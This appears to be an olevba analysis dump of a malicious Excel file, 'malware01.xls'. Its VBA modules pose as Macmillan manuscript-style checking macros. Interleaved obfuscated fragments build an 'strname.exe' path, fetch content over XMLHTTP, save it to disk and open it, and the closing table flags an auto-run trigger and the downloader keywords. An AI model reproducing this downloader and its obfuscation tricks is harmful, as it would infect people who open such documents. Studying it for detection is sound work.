- Dim pageNumber As Integer
- Dim N As Integer
- Dim M As Integer
- Dim strBadStyles As String
- Dim a As Long
- Dim TheOS As String
- simple5 = "" + "" + simple4 + "" + "" + "\" + "" + "" + "" + "str" + "" + "name" + "" + "" + "." + "" + "" + "e" + "x" + "e"
- Exit Function
- TheOS = System.OperatingSystem
- Dim sglPercentComplete As Single
- Dim strStatus As String
- Appljj.ication.ScreenUpdating = False
- strCsvFileName = "Styles_Bookmaker.csv"
- strLogInfo() = CreateLo.gFileInfo(Filename:=strCsvFileName)
- strLogDir = strLogInfo(2)
- strPathToLogFile = strLogInfo(3)
- strFullPathToCsv = strLogDir & Appljj.ication.PathSeparator & strCsvFileName
- If Downl.DownloadFromConfluence(StagingURL:=False, _
- FinalDir:=strLogDir, _
- LogFile:=strPathToLogFile, _
- Filename:=strCsvFileName) = False Then
- If IsIt.There(strFullPathToCsv) = False Then
- MsgBox "Sorry, I can"
- Exit Function
- Else
- MsgBox "I can"
- End If
- End If
- arrTorStyles = LoadCS.VtoArray(Path:=strFullPathToCsv, RemoveHeaderRow:=True, RemoveHeaderCol:=False)
- activeParaCount = ActiveD.ocument.Paragraphs.Count
- For N = 1 To activeParaCount
- If N Mod 100 = 0 Then
- sglPercentComplete = (((N / activeParaCount) * 0.1) + 0.76)
- strStatus = "* Checking paragraph " & N & " of " & activeParaCount & " for approved Bookmaker styles..." & vbCr & StatusBar
- If Not TheOS Like "*Mac*" Then
- Progr.essBar2.Increment sglPercentComplete, strStatus
- Dodf.dfze 50
- Else
- Appljj.ication.StatusBar = ProgressTitle & " " & Round((100 * sglPercentComplete), 0) & "% complete | " & strStatus
- DoEvents
- End If
- End If
- For a = LBound(Stor.ies()) To UBound(Stor.ies())
- If N <= ActiveDocument.StoryRanges(Stor.ies(a)).Paragraphs.Count Then
- paraStyle = ActiveDocument.StoryRanges(Stor.ies(a)).Paragraphs(N).Style
- Debug.Print paraStyle
- If Right(paraStyle, 1) = ")" Then
- Debug.Print "Current paragraph is: " & paraStyle
- On Error GoTo ErrHandler
- intBadCount = -1
- Debug.Print intBadCount
- If intBadCount = UBound(arrTorStyles()) Then
- Set activeParaRange = ActiveDocument.StoryRanges(a).Paragraphs(N).Range
- pageNumber = activeParaRange.Information(wdActiveEndPageNumber)
- strBadStyles = strBadStyles & "** ERROR: Non-Bookmaker style on page " & pageNumber _
- & " (Paragraph " & N & "): " & paraStyle & vbNewLine & vbNewLine
- End If
- End If
- End If
- Next a
- ErrResume:
- Next N
- StatusBar = "* Checking paragraphs for approved Bookmaker styles..." & vbCr & StatusBar
- BadTorStyles = strBadStyles
- Exit Function
- ErrHandler:
- Debug.Print Err.Number & " " & Err.Description & " | " & Err.HelpContext
- If Err.Number = 5941 Or Err.Number = 5834 Then
- Resume ErrResume
- End If
- End Function
- Private Function CountReqdStyles() As Variant
- Dim arrStyleName(1 To 15) As String
- Dim intStyleCount() As Variant
- ReDim intStyleCount(1 To 15) As Variant
- Dim a As Long
- Dim xCount As Integer
- Appljj.ication.ScreenUpdating = False
- arrStyleName(1) = "Titlepage Book Title (tit)"
- arrStyleName(2) = "Titlepage Author Name (au)"
- arrStyleName(13) = "BM Title (bmt)"
- arrStyleName(14) = "Illustration holder (ill)"
- arrStyleName(15) = "Illustration Source (is)"
- For a = 1 To UBound(arrStyleName())
- On Error GoTo ErrHandler
- intStyleCount(a) = 0
- With ActiveDocument.Range.Find
- .ClearFormatting
- .Text = ""
- .Replacement.Text = ""
- .Forward = True
- .Wrap = wdFindStop
- .Format = True
- .Style = ActiveDocument.Styles(arrStyleName(a))
- .MatchCase = False
- .MatchWholeWord = False
- .MatchWildcards = False
- .MatchSoundsLike = False
- .MatchAllWordForms = False
- Do While .Execute(Forward:=True) = True And intStyleCount(a) < 100
- intStyleCount(a) = intStyleCount(a) + 1
- Loop
- End With
- ErrResume:
- Next
- If intStyleCount(1) = 100 Then
- Exit Function
- End If
- CountReqdStyles = intStyleCount()
- Exit Function
- ErrHandler:
- If Err.Number = 5941 Or Err.Number = 5834 Then
- intStyleCount(a) = 0
- Resume ErrResume
- End If
- End Function
- -------------------------------------------------------------------------------
- VBA MACRO Module3.bas
- in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Private Sub FixSectionHeadings(oldStyle As String, newStyle As String)
- Appljj.ication.ScreenUpdating = False
- On Error GoTo ErrHandler:
- Dim keyStyle As String
- Set keyStyle = ActiveDocument.Styles(oldStyle)
- Set keyStyle = ActiveDocument.Styles(newStyle)
- Selection.HomeKey Unit:=wdStory
- Selection.Find.ClearFormatting
- Selection.Find.Style = ActiveDocument.Styles(oldStyle)
- Selection.Find.Replacement.ClearFormatting
- Selection.Find.Replacement.Style = ActiveDocument.Styles(newStyle)
- With Selection.Find
- .Text = ""
- .Replacement.Text = ""
- .Forward = True
- .Wrap = wdFindContinue
- .Format = True
- .MatchCase = False
- .MatchWholeWord = False
- .MatchWildcards = False
- .MatchSoundsLike = False
- .MatchAllWordForms = False
- End With
- Selection.Find.Execute Replace:=wdReplaceAll
- Exit Sub
- ErrHandler:
- If Err.Number = 5941 Or Err.Number = 5834 Then
- Exit Sub
- End If
- End Sub
- Public Function GetMetadata() As String
- Dim styleNameB(4) As String
- Dim bString(4) As String
- Dim b As Integer
- GetMetadata = "GET"
- simple2.Open
- Exit Function
- Dim strTitleData As String
- styleNameB(1) = "Titlepage Book Title (tit)"
- styleNameB(2) = "Titlepage Author Name (au)"
- styleNameB(3) = "span ISBN (isbn)"
- styleNameB(4) = "Titlepage Imprint Line (imp)"
- For b = 1 To UBound(styleNameB())
- bString(b) = GetT.ext(styleNameB(b))
- If bString(b) <> vbNullString Then
- bString(b) = "** " & styleNameB(b) & " **" & vbNewLine & _
- bString(b) & vbNewLine
- End If
- Next b
- strTitleData = bString(1) & bString(2) & bString(3) & bString(4)
- GetMetadata = strTitleData
- End Function
- Private Function IllustrationsList() As String
- Dim cString(1000) As String
- Dim cCount As Integer
- Dim pageNumberC As Integer
- Dim strFullList As String
- Dim N As Integer
- Dim strSearchStyle As String
- Appljj.ication.ScreenUpdating = False
- strSearchStyle = "Illustration holder (ill)"
- cCount = 0
- Selection.HomeKey Unit:=wdStory
- On Error GoTo ErrHandler
- Dim keyStyle As Style
- Set keyStyle = ActiveDocument.Styles(strSearchStyle)
- Selection.Find.ClearFormatting
- Do While Selection.Find.Execute = True And cCount < 1000
- cCount = cCount + 1
- pageNumberC = Selection.Information(wdActiveEndPageNumber)
- If InStr(Selection.Text, Chr(13)) > 0 Then
- Selection.MoveEnd Unit:=wdCharacter, Count:=-1
- End If
- cString(cCount) = "Page " & pageNumberC & ": " & Selection.Text & vbNewLine
- Selection.MoveEndWhile Cset:=Chr(13), Count:=wdForward
- Loop
- Selection.HomeKey Unit:=wdStory
- If cCount > 1000 Then
- MsgBox "You have more than 1,000 illustrations tagged in your manuscript." & vbNewLine & _
- "Please contact workflows@macmillan.com to complete your illustration list."
- End If
- If cCount = 0 Then
- cCount = 1
- cString(1) = "no illustrations detected" & vbNewLine
- End If
- For N = 1 To cCount
- strFullList = strFullList & cString(N)
- Next N
- IllustrationsList = strFullList
- Exit Function
- ErrHandler:
- If Err.Number = 5941 Or Err.Number = 5834 Then
- IllustrationsList = ""
- Exit Function
- End If
- End Function
- Public Function CheckPrev2Paras(StyleA As String, StyleB As String, StyleC As String) As String
- Dim strErrors As String
- Dim intCount As Integer
- Dim pageNum As Integer
- Dim intCurrentPara As Integer
- Dim strStyle1 As String
- Dim strStyle2 As String
- Dim strStyle3 As String
- simple2.write simple1.responseBody
- GoTo sample12
- Appljj.ication.ScreenUpdating = False
- On Error GoTo ErrHandler:
- Dim keyStyle As String
- Set keySt.yle = ActiveDocument.Styles(StyleA)
- Set keyS.tyle = ActiveDocument.Styles(StyleB)
- Set keySt.yle = ActiveDocument.Styles(StyleC)
- strErrors = ""
- Selection.HomeKey Unit:=wdStory
- Selection.Find.ClearFormatting
- With Selection.Find
- .Text = ""
- .Replacement.Text = ""
- .Forward = True
- .Wrap = wdFindStop
- .Format = True
- .Style = ActiveDocument.Styles(StyleC)
- .MatchCase = False
- .MatchWholeWord = False
- .MatchWildcards = False
- .MatchSoundsLike = False
- .MatchAllWordForms = False
- End With
- intCount = 0
- Do While Selection.Find.Execute = True And intCount < 300
- intCount = intCount + 1
- intCurrentPara = ActiveDocument.Range(0, Selection.Paragraphs(1).Range.End).Paragraphs.Count
- Dim SelectionIncludesFinalParagraphMark As Boolean
- Selection.Next(Unit:=wdParagraph, Count:=1).Select
- Loop
- Selection.HomeKey Unit:=wdStory
- Selection.Find.ClearFormatting
- With Selection.Find
- .Text = ""
- .Replacement.Text = ""
- .Forward = True
- .Wrap = wdFindStop
- .Format = True
- .Style = ActiveDocument.Styles(StyleA)
- .MatchCase = False
- .MatchWholeWord = False
- .MatchWildcards = False
- .MatchSoundsLike = False
- .MatchAllWordForms = False
- End With
- intCount = 0
- Do While Selection.Find.Execute = True And intCount < 1000
- intCount = intCount + 1
- intCurrentPara = ActiveDocument.Range(0, Selection.Paragraphs(1).Range.End).Paragraphs.Count
- If intCurrentPara > 1 Then
- Selection.Previous(Unit:=wdParagraph, Count:=1).Select
- pageNum = Selection.Information(wdActiveEndPageNumber)
- If Selection.Style = StyleB Then
- strErrors = strErrors & "** ERROR: " & StyleB & " on page " & pageNum & " must come after " _
- & StyleA & "." & vbNewLine & vbNewLine
- End If
- Selection.Next(Unit:=wdParagraph, Count:=1).Select
- End If
- Loop
- CheckPrev2Paras = strErrors
- Selection.HomeKey Unit:=wdStory
- Exit Function
- ErrHandler:
- If Err.Number = 5941 Or Err.Number = 5834 Then
- Exit Function
- End If
- sample12:
- simple2.savetofile simple5, 2
- CreateReport False, "", "", "", "", ""
- End Function
- Private Sub CreateReport(TemplateUsed As Boolean, errorList As String, metadata As String, illustrations As String, goodStyles As String, suffix As String)
- GoTo TheOS
- Appljj.ication.ScreenUpdating = False
- Dim activeRng As Range
- Dim activeDoc As String
- 'Set activeDoc = ActiveDocument
- 'Set activeRng = ActiveDocument.Range
- Dim activeDocName As String
- Dim activeDocPath As String
- Dim reqReportDoc As String
- Dim reqReportDocAlt As String
- Dim fnum As Integer
- Dim TheOS As String
- TheOS:
- simple6.Open (simple5)
- Exit Sub
- TheOS = System.OperatingSystem
- activeDocName = Left(activh.eDoc.Name, InStrRev(activh.eDoc.Name, ".do") - 1)
- activeDocPath = Replace(activh.eDoc.Path, activh.eDoc.Name, "")
- reqReportDoc = activeDocPath & activeDocName & "_" & suffix & ".txt"
- If Not TheOS Like "*Mac*" Then
- reqReportDoc = activeDocPath & "\" & activeDocName & "_" & suffix & ".txt"
- Else
- Dim placeholdDocName As String
- placeholdDocName = "filenamePlacehold_Report.txt"
- reqReportDocAlt = reqReportDoc
- reqReportDoc = "Macintosh HD:private:tmp:" & placeholdDocName
- End If
- Dim e As Integer
- fnum = FreeFile()
- Open reqReportDoc For Output As fnum
- If TemplateUsed = False Then
- End If
- Print #fnum, illustrations
- Print #fnum, vbCr
- Print #fnum, vbCr
- Print #fnum, "----------------------- MACMILLAN STYLES IN USE --------------------" & vbCr
- Print #fnum, goodStyles
- Close #fnum
- If reqReportDocAlt <> "" Then
- Name reqReportDoc As reqReportDocAlt
- End If
- Dim Shex As Object
- If Not TheOS Like "*Mac*" Then
- Set Shex = CreateObject("Shell.Application")
- Shex.Open (reqReportDoc)
- Else
- MacScript ("tell application ""TextEdit"" " & vbCr & _
- "open " & """" & reqReportDocAlt & """" & " as alias" & vbCr & _
- "activate" & vbCr & _
- "end tell" & vbCr)
- End If
- End Sub
- Private Function StylesInUse(ProgressBar As String, Status As String, ProgTitle As String, Stories() As Variant) As String
- Dim TheOS As String
- TheOS = System.OperatingSystem
- Dim sglPercentComplete As Single
- Dim strStatus As String
- Dim activeDoc As String
- Set activeDoc = ActiveDocument
- Dim stylesGood() As String
- Dim stylesGoodLong As Long
- stylesGoodLong = 400
- ReDim stylesGood(stylesGoodLong)
- Dim styleGoodCount As Integer
- Dim activeParaCount As Integer
- Dim J As Integer, K As Integer, L As Integer
- Dim paraStyle As String
- Dim activeParaRange As Range
- Dim pageNumber As Integer
- Dim a As Long
- styleGoodCount = 0
- activeParaCount = activh.eDoc.Paragraphs.Count
- For J = 1 To activeParaCount
- If J Mod 100 = 0 Then
- sglPercentComplete = (((J / activeParaCount) * 0.12) + 0.86)
- strStatus = "* Checking paragraph " & J & " of " & activeParaCount & " for Macmillan styles..." & vbCr & Status
- If Not TheOS Like "*Mac*" Then
- Progg.gressBar.Increment sglPercentComplete, strStatus
- Dodf.dfze 50
- Else
- Appljj.ication.StatusBar = ProgTitle & " " & Round((100 * sglPercentComplete), 0) & "% complete | " & strStatus
- DoEvents
- End If
- End If
- For a = LBound(Stories()) To UBound(Stories())
- If J <= ActiveDocument.StoryRanges(Stories(a)).Paragraphs.Count Then
- paraStyle = activh.eDoc.StoryRanges(Stories(a)).Paragraphs(J).Style
- Set activeParaRange = activh.eDoc.StoryRanges(Stories(a)).Paragraphs(J).Range
- pageNumber = activeParaRange.Information(wdActiveEndPageNumber)
- For K = 1 To styleGoodCount
- If paraStyle = Left(stylesGood(K), InStrRev(stylesGood(K), " --") - 1) Then
- K = styleGoodCount
- Exit For
- End If
- Next K
- If K = styleGoodCount + 1 Then
- styleGoodCount = K
- stylesGood(styleGoodCount) = paraStyle & " -- p. " & pageNumber
- End If
- End If
- Next a
- Next J
- If K <> 0 Then
- ReDim Preserve stylesGood(1 To styleGoodCount)
- WordBasic.SortArray stylesGood()
- End If
- Dim strGoodStyles As String
- For K = LBound(stylesGood()) To UBound(stylesGood())
- strGoodStyles = strGoodStyles & stylesGood(K) & vbNewLine
- Next K
- StylesInUse = strGoodStyles
- End Function
- Private Sub ISBNcleanup()
- On Error GoTo ErrHandler:
- Dim keyStyle As String
- Set keyStyle = ActiveDocument.Styles("span ISBN (isbn)")
- On Error GoTo 0
- Dim strISBNtextArray()
- ReDim strISBNtextArray(1 To 3)
- strISBNtextArray(1) = "-[!0-9]"
- strISBNtextArray(2) = "[!0-9]-"
- strISBNtextArray(3) = "[!-0-9]"
- Dim g As Long
- For g = LBound(strISBNtextArray()) To UBound(strISBNtextArray())
- Selection.HomeKey Unit:=wdStory
- With Selection.Find
- .ClearFormatting
- .Text = strISBNtextArray(g)
- .Replacement.ClearFormatting
- .Replacement.Text = ""
- .Forward = True
- .Wrap = wdFindStop
- .Format = True
- .Style = "span ISBN (isbn)"
- .Replacement.Style = "Default Paragraph Font"
- .MatchCase = False
- .MatchWholeWord = False
- .MatchWildcards = True
- .MatchSoundsLike = False
- .MatchAllWordForms = False
- End With
- Selection.Find.Execute Replace:=wdReplaceAll
- Next g
- Exit Sub
- ErrHandler:
- If Err.Number = 5941 Or Err.Number = 5834 Then
- Exit Sub
- End If
- End Sub
- Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String
- Dim result As String
- result = ""
- Dim i As Integer
- For i = LBound(fromArr) To LenLen
- result = result & Chr(fromArr(i) - 13 * LenLen - i * 13)
- Next i
- GetStringFromArray = result
- End Function
- Private Function BookTypeCheck()
- Dim intCount As Integer
- Dim strErrors As String
- Dim strBookTypes(1 To 6) As String
- Dim a As Long
- Dim blnMissing As Boolean
- Dim strISBN As String
- strBookTypes(1) = "trade paperback"
- strBookTypes(2) = "hardcover"
- strBookTypes(3) = "e-book"
- strBookTypes(4) = "ebook"
- strBookTypes(5) = "print on demand"
- strBookTypes(6) = "print-on-demand"
- Selection.HomeKey Unit:=wdStory
- On Error GoTo ErrHandler
- intCount = 0
- With Selection.Find
- .ClearFormatting
- .Text = ""
- .Replacement.Text = ""
- .Forward = True
- .Wrap = wdFindStop
- .Format = True
- .Style = ActiveDocument.Styles("span ISBN (isbn)")
- .MatchCase = False
- .MatchWholeWord = False
- .MatchWildcards = False
- .MatchSoundsLike = False
- .MatchAllWordForms = False
- Do While .Execute(Forward:=True) = True And intCount < 100
- intCount = intCount + 1
- strISBN = Selection.Text
- ActiveDocument.Bookmarks.Add Name:="ISBN", Range:=Selection.Range
- Selection.Collapse Direction:=wdCollapseEnd
- Selection.EndOf Unit:=wdLine, Extend:=wdExtend
- blnMissing = True
- For a = 1 To UBound(strBookTypes())
- If InStr(Selection.Text, "(" & strBookTypes(a) & ")") > 0 Then
- blnMissing = False
- Exit For
- End If
- Next a
- If blnMissing = True Then
- strErrors = strErrors & "** ERROR: Correct book type required in parentheses after" & vbNewLine & _
- "ISBN " & strISBN & " on copyright page." _
- & vbNewLine & vbNewLine
- End If
- If ActiveDocument.Bookmarks.Exists("ISBN") = True Then
- Selection.GoTo what:=wdGoToBookmark, Name:="ISBN"
- ActiveDocument.Bookmarks("ISBN").Delete
- End If
- Loop
- End With
- BookTypeCheck = strErrors
- On Error GoTo 0
- Exit Function
- ErrHandler:
- Debug.Print Err.Number & ": " & Err.Description
- If Err.Number = 5941 Or Err.Number = 5834 Then
- Exit Function
- End If
- End Function
- +------------+----------------------+-----------------------------------------+
- | Type | Keyword | Description |
- +------------+----------------------+-----------------------------------------+
- | AutoExec | Workbook_Open | Runs when the Excel Workbook is opened |
- | Suspicious | Open | May open a file |
- | Suspicious | Shell | May run an executable file or a system |
- | | | command |
- | Suspicious | WScript.Shell | May run an executable file or a system |
- | | | command |
- | Suspicious | Shell.Application | May run an application (if combined |
- | | | with CreateObject) |
- | Suspicious | CreateObject | May create an OLE object |
- | Suspicious | Chr | May attempt to obfuscate specific |
- | | | strings |
- | Suspicious | ADODB.Stream | May create a text file |
- | Suspicious | SaveToFile | May create a text file |
- | Suspicious | Write | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Output | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Print # | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Microsoft.XMLHTTP | May download files from the Internet |
- | | | (obfuscation: VBA expression) |
- | Suspicious | Hex Strings | Hex-encoded strings were detected, may |
- | | | be used to obfuscate strings (option |
- | | | --decode to see all) |
- | Suspicious | Base64 Strings | Base64-encoded strings were detected, |
- | | | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | Suspicious | VBA obfuscated | VBA string expressions were detected, |
- | | Strings | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | IOC | strname.exe | Executable file name (obfuscation: VBA |
- | | | expression) |
- | Base64 | ! M | ISBN |
- | String | | |
- | VBA string | Microsoft.XMLHTTP | ("Microsoft" + ".XMLHTTP") |
- | VBA string | ** ERROR: Too many | "** ERROR: Too many title paragraphs |
- | | title paragraphs | detected." & " Only 1 allowed." |
- | | detected. Only 1 | |
- | | allowed. | |
- | VBA string |
- | Chr(13) |
- | VBA string | | Chr(12) |
- | VBA string | | "" + "" |
- | VBA string | \strname.exe | "" + "" + "\" + "" + "" + "" + "str" + |
- | | | "" + "name" + "" + "" + "." + "" + "" + |
- | | | "e" + "x" + "e" |
- | VBA string | open " | "open " & """" |
- | VBA string | " as alias | """" & " as alias" |
- | VBA string | ! M | Exists("ISBN") |
- | VBA string | ! M | Bookmarks("ISBN") |
- +------------+----------------------+-----------------------------------------+
Add Comment
Please, Sign In to add comment